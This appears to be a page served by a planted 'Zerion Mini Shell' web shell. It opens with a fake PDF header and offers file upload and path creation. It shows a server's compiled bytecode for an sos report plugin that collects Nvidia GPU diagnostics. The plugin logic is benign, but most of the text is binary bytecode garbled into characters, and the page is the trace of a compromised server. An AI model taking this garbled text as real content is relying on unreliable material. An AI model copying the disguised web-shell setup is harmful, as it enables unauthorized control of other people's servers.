%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/lib/python3.9/site-packages/sos/report/plugins/__pycache__/
Upload File :
Create Path :
Current File : //usr/lib/python3.9/site-packages/sos/report/plugins/__pycache__/nvidia.cpython-39.pyc

a

\��hL�@s&ddlmZmZGdd�dee�ZdS)�)�Plugin�IndependentPluginc@s$eZdZdZdZdZdZdd�ZdS)�NvidiazNvidia GPU informationZnvidia)z
nvidia-smiz
nvidia-ctk)znvidia-persistencedznvidia-fabricmanagerznvidia-toolkit-firstbootcCsr|�d�gd�}ddg}|�dd�|D��|�dd�|D��d}d	}|�d
|�d��|�d|�d��dS)
Nz/etc/cdi/nvidia.yaml)z--list-gpusz-q -d PERFORMANCEz-q -d SUPPORTED_CLOCKSz-q -d PAGE_RETIREMENTz-qz	-q -d ECCz	nvlink -sz	nvlink -ezcdi listz	--versioncSsg|]}d|���qS)znvidia-smi ���.0�cmdrr�=/usr/lib/python3.9/site-packages/sos/report/plugins/nvidia.py�
<listcomp>(�z Nvidia.setup.<locals>.<listcomp>cSsg|]}d|���qS)znvidia-ctk rrrrr	r
)rz�gpu_name,gpu_bus_id,vbios_version,temperature.gpu,utilization.gpu,memory.total,memory.free,memory.used,clocks.applications.graphics,clocks.applications.memoryzRtimestamp,gpu_bus_id,gpu_serial,gpu_uuid,retired_pages.address,retired_pages.causeznvidia-smi --query-gpu=z
 --format=csvz!nvidia-smi --query-retired-pages=)Z
add_copy_specZadd_cmd_output)�selfZsubcmdsZctk_subcmds�queryZ
querypagesrrr	�setups
�
�zNvidia.setupN)�__name__�
__module__�__qualname__Z
short_descZplugin_nameZcommandsZservicesrrrrr	rs
rN)Zsos.report.pluginsrrrrrrr	�<module>s

Zerion Mini Shell 1.0